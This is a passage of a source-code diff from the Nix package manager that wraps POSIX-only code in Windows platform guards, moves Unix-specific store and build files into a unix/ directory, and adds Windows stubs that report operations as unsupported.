= { {"number", nrEnvs}, {"elements", nrValuesInEnvs}, diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index df388d93e..af65fdcba 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -161,6 +161,8 @@ struct DebugTrace { bool isError; }; +// Don't want Windows function +#undef SearchPath class EvalState : public std::enable_shared_from_this { diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 7e7952735..f03acc2da 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -28,7 +28,10 @@ #include #include #include -#include + +#ifndef _WIN32 +# include +#endif #include @@ -331,6 +334,8 @@ static RegisterPrimOp primop_import({ } }); +#ifndef _WIN32 // TODO implement via DLL loading on Windows + /* Want reasonable symbol names, so extern C */ /* !!! Should we pass the Pos or the file name too? */ extern "C" typedef void (*ValueInitializer)(EvalState & state, Value & v); @@ -403,6 +408,8 @@ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v) } } +#endif + /* Return a string representing the type of the expression. */ static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) { @@ -4593,6 +4600,7 @@ void EvalState::createBaseEnv() )", }); +#ifndef _WIN32 // TODO implement on Windows // Miscellaneous if (evalSettings.enableNativeCode) { addPrimOp({ @@ -4606,6 +4614,7 @@ void EvalState::createBaseEnv() .fun = prim_exec, }); } +#endif addPrimOp({ .name = "__traceVerbose", diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh index ce78135b5..231752ea6 100644 --- a/src/libexpr/search-path.hh +++ b/src/libexpr/search-path.hh @@ -8,6 +8,9 @@ namespace nix { +// Do not want the windows macro (alias to `SearchPathA`) +#undef SearchPath + /** * A "search path" is a list of ways look for something, used with * `builtins.findFile` and `< >` lookup expressions. diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc index d85363808..2bbe53e11 100644 --- a/src/libfetchers/fs-input-accessor.cc +++ b/src/libfetchers/fs-input-accessor.cc @@ -26,7 +26,7 @@ ref makeStorePathAccessor( // FIXME: should use `store->getFSAccessor()` auto root = std::filesystem::path { store->toRealPath(storePath) }; auto accessor = makeFSInputAccessor(root); - accessor->setPathDisplay(root); + accessor->setPathDisplay(root.string()); return accessor; } diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 5ecd825b7..a4a00374c 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -151,11 +151,11 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this { initLibGit2(); - if (pathExists(path.native())) { - if (git_repository_open(Setter(repo), path.c_str())) + if (pathExists(path.string())) { + if (git_repository_open(Setter(repo), path.string().c_str())) throw Error("opening Git repository '%s': %s", path, git_error_last()->message); } else { - if (git_repository_init(Setter(repo), path.c_str(), bare)) + if (git_repository_init(Setter(repo), path.string().c_str(), bare)) throw Error("creating Git repository '%s': %s", path, git_error_last()->message); } } @@ -216,7 +216,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this std::vector parseSubmodules(const std::filesystem::path & configFile) { GitConfig config; - if (git_config_open_ondisk(Setter(config), configFile.c_str())) + if (git_config_open_ondisk(Setter(config), configFile.string().c_str())) throw Error("parsing .gitmodules file: %s", git_error_last()->message); ConfigIterator it; @@ -288,7 +288,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this /* Get submodule info. */ auto modulesFile = path / ".gitmodules"; - if (pathExists(modulesFile)) + if (pathExists(modulesFile.string())) info.submodules = parseSubmodules(modulesFile); return info; @@ -377,10 +377,10 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this auto dir = this->path; Strings gitArgs; if (shallow) { - gitArgs = { "-C", dir, "fetch", "--quiet", "--force", "--depth", "1", "--", url, refspec }; + gitArgs = { "-C", dir.string(), "fetch", "--quiet", "--force", "--depth", "1", "--", url, refspec }; } else { - gitArgs = { "-C", dir, "fetch", "--quiet", "--force", "--", url, refspec }; + gitArgs = { "-C", dir.string(), "fetch", "--quiet", "--force", "--", url, refspec }; } runProgram(RunOptions { @@ -426,7 +426,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this .args = { "-c", "gpg.ssh.allowedSignersFile=" + allowedSignersFile, - "-C", path, + "-C", path.string(), "verify-commit", rev.gitRev() }, diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index 4c9051d3b..a43a00f16 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -108,7 +108,9 @@ std::string getArg(const std::string & opt, return *i; } +#ifndef _WIN32 static void sigHandler(int signo) { } +#endif void initNix() @@ -121,6 +123,7 @@ void initNix() initLibStore(); +#ifndef _WIN32 unix::startSignalHandlerThread(); /* Reset SIGCHLD to its default. */ @@ -135,6 +138,7 @@ void initNix() /* Install a dummy SIGUSR1 handler for use with pthread_kill(). */ act.sa_handler = sigHandler; if (sigaction(SIGUSR1, &act, 0)) throw SysError("handling SIGUSR1"); +#endif #if __APPLE__ /* HACK: on darwin, we need can’t use sigprocmask with SIGWINCH. @@ -156,21 +160,26 @@ void initNix() if (sigaction(SIGTRAP, &act, 0)) throw SysError("handling SIGTRAP"); #endif +#ifndef _WIN32 /* Register a SIGSEGV handler to detect stack overflows. Why not initLibExpr()? initGC() is essentially that, but detectStackOverflow is not an instance of the init function concept, as it may have to be invoked more than once per process. */ detectStackOverflow(); +#endif /* There is no privacy in the Nix system ;-) At least not for now. In particular, store objects should be readable by everybody. */ umask(0022); +#ifndef _WIN32 /* Initialise the PRNG. */ struct timeval tv; gettimeofday(&tv, 0); srandom(tv.tv_usec); +#endif + } @@ -365,6 +374,9 @@ RunPager::RunPager() Pipe toPager; toPager.create(); +#ifdef _WIN32 // TODO re-enable on Windows, once we can start processes. + throw Error("Commit signature verification not implemented on Windows yet"); +#else pid = startProcess([&]() { if (dup2(toPager.readSide.get(), STDIN_FILENO) == -1) throw SysError("dupping stdin"); @@ -383,17 +395,20 @@ RunPager::RunPager() std_out = fcntl(STDOUT_FILENO, F_DUPFD_CLOEXEC, 0); if (dup2(toPager.writeSide.get(), STDOUT_FILENO) == -1) throw SysError("dupping standard output"); +#endif } RunPager::~RunPager() { try { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. if (pid != -1) { std::cout.flush(); dup2(std_out, STDOUT_FILENO); pid.wait(); } +#endif } catch (...) { ignoreException(); } diff --git a/src/libmain/shared.hh b/src/libmain/shared.hh index 99c3dffab..3c657d2b7 100644 --- a/src/libmain/shared.hh +++ b/src/libmain/shared.hh @@ -1,6 +1,7 @@ #pragma once ///@file +#include "file-descriptor.hh" #include "processes.hh" #include "args.hh" #include "args/root.hh" @@ -89,8 +90,10 @@ public: ~RunPager(); private: +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid pid; - int std_out; +#endif + Descriptor std_out; }; extern volatile ::sig_atomic_t blockInt; @@ -112,6 +115,7 @@ struct PrintFreed }; +#ifndef _WIN32 /** * Install a SIGSEGV handler to detect stack overflows. */ @@ -141,5 +145,6 @@ extern std::function stackOverflowHandler; * logger. Exits the process immediately after. */ void defaultStackOverflowHandler(siginfo_t * info, void * ctx); +#endif } diff --git a/src/libmain/stack.cc b/src/libmain/unix/stack.cc similarity index 100% rename from src/libmain/stack.cc rename to src/libmain/unix/stack.cc diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index 31a6b32f1..e009f5b9d 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -76,7 +76,11 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, throw Error("collision between '%1%' and non-directory '%2%'", srcFile, target); if (unlink(dstFile.c_str()) == -1) throw SysError("unlinking '%1%'", dstFile); - if (mkdir(dstFile.c_str(), 0755) == -1) + if (mkdir(dstFile.c_str() + #ifndef _WIN32 // TODO abstract mkdir perms for Windows + , 0755 + #endif + ) == -1) throw SysError("creating directory '%1%'", dstFile); createLinks(state, target, dstFile, state.priorities[dstFile]); createLinks(state, srcFile, dstFile, priority); diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index def2c80b2..47d6d5541 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1,5 +1,4 @@ #include "daemon.hh" -#include "monitor-fd.hh" #include "signals.hh" #include "worker-protocol.hh" #include "worker-protocol-impl.hh" @@ -16,6 +15,10 @@ #include "args.hh" #include "git.hh" +#ifndef _WIN32 // TODO need graceful async exit support on Windows? +# include "monitor-fd.hh" +#endif + namespace nix::daemon { Sink & operator << (Sink & sink, const Logger::Fields & fields) @@ -1018,7 +1021,9 @@ void processConnection( TrustedFlag trusted, RecursiveFlag recursive) { +#ifndef _WIN32 // TODO need graceful async exit support on Windows? auto monitor = !recursive ? std::make_unique(from.fd) : nullptr; +#endif /* Exchange the greeting. */ unsigned int magic = readInt(from); diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index df89b5bd1..219b60c44 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -516,10 +516,12 @@ struct curlFileTransfer : public FileTransfer Sync state_; + #ifndef _WIN32 // TODO need graceful async exit support on Windows? /* We can't use a std::condition_variable to wake up the curl thread, because it only monitors file descriptors. So use a pipe instead. */ Pipe wakeupPipe; + #endif std::thread workerThread; @@ -539,8 +541,10 @@ struct curlFileTransfer : public FileTransfer fileTransferSettings.httpConnections.get()); #endif + #ifndef _WIN32 // TODO need graceful async exit support on Windows? wakeupPipe.create(); fcntl(wakeupPipe.readSide.get(), F_SETFL, O_NONBLOCK); + #endif workerThread = std::thread([&]() { workerThreadEntry(); }); } @@ -561,15 +565,19 @@ struct curlFileTransfer : public FileTransfer auto state(state_.lock()); state->quit = true; } + #ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " ", false); + #endif } void workerThreadMain() { /* Cause this thread to be notified on SIGINT. */ + #ifndef _WIN32 // TODO need graceful async exit support on Windows? auto callback = createInterruptCallback([&]() { stopWorkerThread(); }); + #endif #if __linux__ unshareFilesystem(); @@ -607,9 +615,11 @@ struct curlFileTransfer : public FileTransfer /* Wait for activity, including wakeup events. */ int numfds = 0; struct curl_waitfd extraFDs[1]; + #ifndef _WIN32 // TODO need graceful async exit support on Windows? extraFDs[0].fd = wakeupPipe.readSide.get(); extraFDs[0].events = CURL_WAIT_POLLIN; extraFDs[0].revents = 0; + #endif long maxSleepTimeMs = items.empty() ? 10000 : 100; auto sleepTimeMs = nextWakeup != std::chrono::steady_clock::time_point() @@ -693,7 +703,9 @@ struct curlFileTransfer : public FileTransfer throw nix::Error("cannot enqueue download request because the download thread is shutting down"); state->incoming.push(item); } + #ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " "); + #endif } #if ENABLE_S3 diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index 4229fb4df..ae268e54e 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -9,11 +9,14 @@ #include #include #include -#include -#include #include +#ifndef _WIN32 +# include +# include +#endif + #ifdef __GLIBC__ # include # include @@ -56,7 +59,9 @@ Settings::Settings() , nixManDir(canonPath(NIX_MAN_DIR)) , nixDaemonSocketFile(canonPath(getEnvNonEmpty("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) { +#ifndef _WIN32 buildUsersGroup = isRootUser() ? "nixbld" : ""; +#endif allowSymlinkedStore = getEnv("NIX_IGNORE_SYMLINK_STORE") == "1"; auto sslOverride = getEnv("NIX_SSL_CERT_FILE").value_or(getEnv("SSL_CERT_FILE").value_or("")); @@ -239,11 +244,15 @@ StringSet Settings::getDefaultExtraPlatforms() bool Settings::isWSL1() { +#if __linux__ struct utsname utsbuf; uname(&utsbuf); // WSL1 uses -Microsoft suffix // WSL2 uses -microsoft-standard suffix return hasSuffix(utsbuf.release, "-Microsoft"); +#else + return false; +#endif } Path Settings::getDefaultSSLCertFile() @@ -341,6 +350,7 @@ void initPlugins() for (const auto & file : pluginFiles) { /* handle is purposefully leaked as there may be state in the DSO needed by the action of the plugin. */ +#ifndef _WIN32 // TODO implement via DLL loading on Windows void *handle = dlopen(file.c_str(), RTLD_LAZY | RTLD_LOCAL); if (!handle) @@ -351,6 +361,9 @@ void initPlugins() void (*nix_plugin_entry)() = (void (*)())dlsym(handle, "nix_plugin_entry"); if (nix_plugin_entry) nix_plugin_entry(); +#else + throw Error("could not dynamically open plugin file '%s'", file); +#endif } } diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 4bdbe3333..852dba764 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -666,6 +666,7 @@ public: Setting sandboxFallback{this, true, "sandbox-fallback", "Whether to disable sandboxing when the kernel doesn't allow it."}; +#ifndef _WIN32 Setting requireDropSupplementaryGroups{this, isRootUser(), "require-drop-supplementary-groups", R"( Following the principle of least privilege, @@ -683,6 +684,7 @@ public: (since `root` usually has permissions to call setgroups) and `false` otherwise. )"}; +#endif #if __linux__ Setting sandboxShmSize{ diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 0a91fce4b..b74a047bf 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -4,9 +4,12 @@ libstore_NAME = libnixstore libstore_DIR := $(d) -libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc) +libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc) ifdef HOST_UNIX - libstore_SOURCES += $(wildcard $(d)/unix/*.cc) + libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc) +endif +ifdef HOST_WINDOWS + libstore_SOURCES += $(wildcard $(d)/windows/*.cc) endif libstore_LIBS = libutil @@ -55,9 +58,9 @@ libstore_CXXFLAGS += \ ifeq ($(embedded_sandbox_shell),yes) libstore_CXXFLAGS += -DSANDBOX_SHELL=\"__embedded_sandbox_shell__\" -$(d)/build/local-derivation-goal.cc: $(d)/embedded-sandbox-shell.gen.hh +$(d)/unix/build/local-derivation-goal.cc: $(d)/unix/embedded-sandbox-shell.gen.hh -$(d)/embedded-sandbox-shell.gen.hh: $(sandbox_shell) +$(d)/unix/embedded-sandbox-shell.gen.hh: $(sandbox_shell) $(trace-gen) hexdump -v -e '1/1 "0x%x," "\n"' < $< > $@.tmp @mv $@.tmp $@ else @@ -66,11 +69,11 @@ else endif endif -$(d)/local-store.cc: $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh +$(d)/unix/local-store.cc: $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh -$(d)/build.cc: +$(d)/unix/build.cc: -clean-files += $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh +clean-files += $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh $(eval $(call install-file-in, $(buildprefix)$(d)/nix-store.pc, $(libdir)/pkgconfig, 0644)) diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index cc8ad3d02..cc3f4884f 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -1,7 +1,6 @@ #include "derivations.hh" #include "parsed-derivations.hh" #include "globals.hh" -#include "local-store.hh" #include "store-api.hh" #include "thread-pool.hh" #include "realisation.hh" diff --git a/src/libstore/profiles.hh b/src/libstore/profiles.hh index 193c0bf21..b10a72330 100644 --- a/src/libstore/profiles.hh +++ b/src/libstore/profiles.hh @@ -8,6 +8,7 @@ #include "types.hh" #include "pathlocks.hh" +#include #include diff --git a/src/libstore/remote-fs-accessor.cc b/src/libstore/remote-fs-accessor.cc index b44edfe89..20f1d826c 100644 --- a/src/libstore/remote-fs-accessor.cc +++ b/src/libstore/remote-fs-accessor.cc @@ -71,11 +71,15 @@ std::pair, CanonPath> RemoteFSAccessor::fetch(const CanonPat auto narAccessor = makeLazyNarAccessor(listing, [cacheFile](uint64_t offset, uint64_t length) { - AutoCloseFD fd = open(cacheFile.c_str(), O_RDONLY | O_CLOEXEC); + AutoCloseFD fd = toDescriptor(open(cacheFile.c_str(), O_RDONLY + #ifndef _WIN32 + | O_CLOEXEC + #endif + )); if (!fd) throw SysError("opening NAR cache file '%s'", cacheFile); - if (lseek(fd.get(), offset, SEEK_SET) != (off_t) offset) + if (lseek(fromDescriptorReadOnly(fd.get()), offset, SEEK_SET) != (off_t) offset) throw SysError("seeking in '%s'", cacheFile); std::string buf(length, 0); diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 30fe73adb..04f458279 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -55,6 +55,9 @@ bool SSHMaster::isMasterRunning() { std::unique_ptr SSHMaster::startCommand( Strings && command, Strings && extraSshArgs) { +#ifdef _WIN32 // TODO re-enable on Windows, once we can start processes. + throw UnimplementedError("cannot yet SSH on windows because spawning processes is not yet implemented"); +#else Path socketPath = startMaster(); Pipe in, out; @@ -105,8 +108,8 @@ std::unique_ptr SSHMaster::startCommand( }, options); - in.readSide = -1; - out.writeSide = -1; + in.readSide = INVALID_DESCRIPTOR; + out.writeSide = INVALID_DESCRIPTOR; // Wait for the SSH connection to be established, // So that we don't overwrite the password prompt with our progress bar. @@ -126,15 +129,18 @@ std::unique_ptr SSHMaster::startCommand( conn->in = std::move(in.writeSide); return conn; +#endif } +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. + Path SSHMaster::startMaster() { if (!useMaster) return ""; auto state(state_.lock()); - if (state->sshMaster != -1) return state->socketPath; + if (state->sshMaster != INVALID_DESCRIPTOR) return state->socketPath; state->socketPath = (Path) *state->tmpDir + "/ssh.sock"; @@ -167,7 +173,7 @@ Path SSHMaster::startMaster() throw SysError("unable to execute '%s'", args.front()); }, options); - out.writeSide = -1; + out.writeSide = INVALID_DESCRIPTOR; std::string reply; try { @@ -182,4 +188,6 @@ Path SSHMaster::startMaster() return state->socketPath; } +#endif + } diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh index 08bb43dfa..3b1a0827a 100644 --- a/src/libstore/ssh.hh +++ b/src/libstore/ssh.hh @@ -21,7 +21,9 @@ private: struct State { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid sshMaster; +#endif std::unique_ptr tmpDir; Path socketPath; }; @@ -31,13 +33,19 @@ private: void addCommonSSHOpts(Strings & args); bool isMasterRunning(); +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. + Path startMaster(); +#endif + public: SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1); struct Connection { +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes. Pid sshPid; +#endif AutoCloseFD out, in; }; @@ -51,8 +59,6 @@ public: std::unique_ptr startCommand( Strings && command, Strings && extraSshArgs = {}); - - Path startMaster(); }; } diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 79beeebbd..118e5de9f 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -13,7 +13,6 @@ #include "archive.hh" #include "callback.hh" #include "git.hh" -#include "remote-store.hh" #include "posix-source-accessor.hh" // FIXME this should not be here, see TODO below on // `addMultipleToStore`. @@ -21,6 +20,10 @@ #include "signals.hh" #include "users.hh" +#ifndef _WIN32 +# include "remote-store.hh" +#endif + #include #include @@ -1266,9 +1269,10 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath) } - -#include "local-store.hh" -#include "uds-remote-store.hh" +#ifndef _WIN32 +# include "local-store.hh" +# include "uds-remote-store.hh" +#endif namespace nix { @@ -1286,6 +1290,9 @@ std::pair splitUriAndParams(const std::string & uri_ return {uri, params}; } +#ifdef _WIN32 // Unused on Windows because the next `#ifndef` +[[maybe_unused]] +#endif static bool isNonUriPath(const std::string & spec) { return @@ -1298,6 +1305,9 @@ static bool isNonUriPath(const std::string & spec) std::shared_ptr openFromNonUri(const std::string & uri, const Store::Params & params) { + // TODO reenable on Windows once we have `LocalStore` and + // `UDSRemoteStore`. + #ifndef _WIN32 if (uri == "" || uri == "auto") { auto stateDir = getOr(params, "state", settings.nixStateDir); if (access(stateDir.c_str(), R_OK | W_OK) == 0) @@ -1342,6 +1352,9 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para } else { return nullptr; } + #else + return nullptr; + #endif } // The `parseURL` function supports both IPv6 URIs as defined in diff --git a/src/libstore/build/child.cc b/src/libstore/unix/build/child.cc similarity index 100% rename from src/libstore/build/child.cc rename to src/libstore/unix/build/child.cc diff --git a/src/libstore/build/child.hh b/src/libstore/unix/build/child.hh similarity index 100% rename from src/libstore/build/child.hh rename to src/libstore/unix/build/child.hh diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc similarity index 100% rename from src/libstore/build/derivation-goal.cc rename to src/libstore/unix/build/derivation-goal.cc diff --git a/src/libstore/build/derivation-goal.hh b/src/libstore/unix/build/derivation-goal.hh similarity index 100% rename from src/libstore/build/derivation-goal.hh rename to src/libstore/unix/build/derivation-goal.hh diff --git a/src/libstore/build/drv-output-substitution-goal.cc b/src/libstore/unix/build/drv-output-substitution-goal.cc similarity index 100% rename from src/libstore/build/drv-output-substitution-goal.cc rename to src/libstore/unix/build/drv-output-substitution-goal.cc diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/unix/build/drv-output-substitution-goal.hh similarity index 100% rename from src/libstore/build/drv-output-substitution-goal.hh rename to src/libstore/unix/build/drv-output-substitution-goal.hh diff --git a/src/libstore/build/entry-points.cc b/src/libstore/unix/build/entry-points.cc similarity index 100% rename from src/libstore/build/entry-points.cc rename to src/libstore/unix/build/entry-points.cc diff --git a/src/libstore/build/goal.cc b/src/libstore/unix/build/goal.cc similarity index 100% rename from src/libstore/build/goal.cc rename to src/libstore/unix/build/goal.cc diff --git a/src/libstore/build/goal.hh b/src/libstore/unix/build/goal.hh similarity index 100% rename from src/libstore/build/goal.hh rename to src/libstore/unix/build/goal.hh diff --git a/src/libstore/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc similarity index 100% rename from src/libstore/build/hook-instance.cc rename to src/libstore/unix/build/hook-instance.cc diff --git a/src/libstore/build/hook-instance.hh b/src/libstore/unix/build/hook-instance.hh similarity index 100% rename from src/libstore/build/hook-instance.hh rename to src/libstore/unix/build/hook-instance.hh diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc similarity index 100% rename from src/libstore/build/local-derivation-goal.cc rename to src/libstore/unix/build/local-derivation-goal.cc diff --git a/src/libstore/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh similarity index 100% rename from src/libstore/build/local-derivation-goal.hh rename to src/libstore/unix/build/local-derivation-goal.hh diff --git a/src/libstore/build/personality.cc b/src/libstore/unix/build/personality.cc similarity index 100% rename from src/libstore/build/personality.cc rename to src/libstore/unix/build/personality.cc diff --git a/src/libstore/build/personality.hh b/src/libstore/unix/build/personality.hh similarity index 100% rename from src/libstore/build/personality.hh rename to src/libstore/unix/build/personality.hh diff --git a/src/libstore/build/sandbox-defaults.sb b/src/libstore/unix/build/sandbox-defaults.sb similarity index 100% rename from src/libstore/build/sandbox-defaults.sb rename to src/libstore/unix/build/sandbox-defaults.sb diff --git a/src/libstore/build/sandbox-minimal.sb b/src/libstore/unix/build/sandbox-minimal.sb similarity index 100% rename from src/libstore/build/sandbox-minimal.sb rename to src/libstore/unix/build/sandbox-minimal.sb diff --git a/src/libstore/build/sandbox-network.sb b/src/libstore/unix/build/sandbox-network.sb similarity index 100% rename from src/libstore/build/sandbox-network.sb rename to src/libstore/unix/build/sandbox-network.sb diff --git a/src/libstore/build/substitution-goal.cc b/src/libstore/unix/build/substitution-goal.cc similarity index 100% rename from src/libstore/build/substitution-goal.cc rename to src/libstore/unix/build/substitution-goal.cc diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/unix/build/substitution-goal.hh similarity index 100% rename from src/libstore/build/substitution-goal.hh rename to src/libstore/unix/build/substitution-goal.hh diff --git a/src/libstore/build/worker.cc b/src/libstore/unix/build/worker.cc similarity index 100% rename from src/libstore/build/worker.cc rename to src/libstore/unix/build/worker.cc diff --git a/src/libstore/build/worker.hh b/src/libstore/unix/build/worker.hh similarity index 100% rename from src/libstore/build/worker.hh rename to src/libstore/unix/build/worker.hh diff --git a/src/libstore/builtins/fetchurl.cc b/src/libstore/unix/builtins/fetchurl.cc similarity index 100% rename from src/libstore/builtins/fetchurl.cc rename to src/libstore/unix/builtins/fetchurl.cc diff --git a/src/libstore/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc similarity index 100% rename from src/libstore/builtins/unpack-channel.cc rename to src/libstore/unix/builtins/unpack-channel.cc diff --git a/src/libstore/ca-specific-schema.sql b/src/libstore/unix/ca-specific-schema.sql similarity index 100% rename from src/libstore/ca-specific-schema.sql rename to src/libstore/unix/ca-specific-schema.sql diff --git a/src/libstore/gc.cc b/src/libstore/unix/gc.cc similarity index 100% rename from src/libstore/gc.cc rename to src/libstore/unix/gc.cc diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/unix/local-overlay-store.cc similarity index 100% rename from src/libstore/local-overlay-store.cc rename to src/libstore/unix/local-overlay-store.cc diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/unix/local-overlay-store.hh similarity index 100% rename from src/libstore/local-overlay-store.hh rename to src/libstore/unix/local-overlay-store.hh diff --git a/src/libstore/local-overlay-store.md b/src/libstore/unix/local-overlay-store.md similarity index 100% rename from src/libstore/local-overlay-store.md rename to src/libstore/unix/local-overlay-store.md diff --git a/src/libstore/local-store.cc b/src/libstore/unix/local-store.cc similarity index 100% rename from src/libstore/local-store.cc rename to src/libstore/unix/local-store.cc diff --git a/src/libstore/local-store.hh b/src/libstore/unix/local-store.hh similarity index 100% rename from src/libstore/local-store.hh rename to src/libstore/unix/local-store.hh diff --git a/src/libstore/local-store.md b/src/libstore/unix/local-store.md similarity index 100% rename from src/libstore/local-store.md rename to src/libstore/unix/local-store.md diff --git a/src/libstore/lock.cc b/src/libstore/unix/lock.cc similarity index 100% rename from src/libstore/lock.cc rename to src/libstore/unix/lock.cc diff --git a/src/libstore/lock.hh b/src/libstore/unix/lock.hh similarity index 100% rename from src/libstore/lock.hh rename to src/libstore/unix/lock.hh diff --git a/src/libstore/optimise-store.cc b/src/libstore/unix/optimise-store.cc similarity index 100% rename from src/libstore/optimise-store.cc rename to src/libstore/unix/optimise-store.cc diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/unix/posix-fs-canonicalise.cc similarity index 100% rename from src/libstore/posix-fs-canonicalise.cc rename to src/libstore/unix/posix-fs-canonicalise.cc diff --git a/src/libstore/posix-fs-canonicalise.hh b/src/libstore/unix/posix-fs-canonicalise.hh similarity index 100% rename from src/libstore/posix-fs-canonicalise.hh rename to src/libstore/unix/posix-fs-canonicalise.hh diff --git a/src/libstore/schema.sql b/src/libstore/unix/schema.sql similarity index 100% rename from src/libstore/schema.sql rename to src/libstore/unix/schema.sql diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/unix/uds-remote-store.cc similarity index 100% rename from src/libstore/uds-remote-store.cc rename to src/libstore/unix/uds-remote-store.cc diff --git a/src/libstore/uds-remote-store.hh b/src/libstore/unix/uds-remote-store.hh similarity index 100% rename from src/libstore/uds-remote-store.hh rename to src/libstore/unix/uds-remote-store.hh diff --git a/src/libstore/uds-remote-store.md b/src/libstore/unix/uds-remote-store.md similarity index 100% rename from src/libstore/uds-remote-store.md rename to src/libstore/unix/uds-remote-store.md diff --git a/src/libstore/windows/build.cc b/src/libstore/windows/build.cc new file mode 100644 index 000000000..3eadc5bda --- /dev/null +++ b/src/libstore/windows/build.cc @@ -0,0 +1,37 @@ +#include "store-api.hh" +#include "build-result.hh" + +namespace nix { + +void Store::buildPaths(const std::vector & reqs, BuildMode buildMode, std::shared_ptr evalStore) +{ + unsupported("buildPaths"); +} + +std::vector Store::buildPathsWithResults( + const std::vector & reqs, + BuildMode buildMode, + std::shared_ptr evalStore) +{ + unsupported("buildPathsWithResults"); +} + +BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, + BuildMode buildMode) +{ + unsupported("buildDerivation"); +} + + +void Store::ensurePath(const StorePath & path) +{ + unsupported("ensurePath"); +} + + +void Store::repairPath(const StorePath & path) +{ + unsupported("repairPath"); +} + +} diff --git a/src/libutil/args.cc b/src/libutil/args.cc index 834fc7314..243e3a5a6 100644 --- a/src/libutil/args.cc +++ b/src/libutil/args.cc @@ -9,7 +9,9 @@ #include #include #include -#include +#ifndef _WIN32 +# include +#endif namespace nix { @@ -547,6 +549,7 @@ nlohmann::json Args::toJSON() static void _completePath(AddCompletions & completions, std::string_view prefix, bool onlyDirs) { completions.setType(Completions::Type::Filenames); + #ifndef _WIN32 // TODO implement globbing completions on Windows glob_t globbuf; int flags = GLOB_NOESCAPE; #ifdef GLOB_ONLYDIR @@ -564,6 +567,7 @@ static void _completePath(AddCompletions & completions, std::string_view prefix, } } globfree(&globbuf); + #endif } void Args::completePath(AddCompletions & completions, size_t, std::string_view prefix) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index d33f7163a..c88013b3c 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -19,7 +19,9 @@ # include "namespaces.hh" #endif -#include +#ifndef _WIN32 +# include +#endif namespace nix { @@ -57,6 +59,7 @@ unsigned int getMaxCPU() ////////////////////////////////////////////////////////////////////// +#ifndef _WIN32 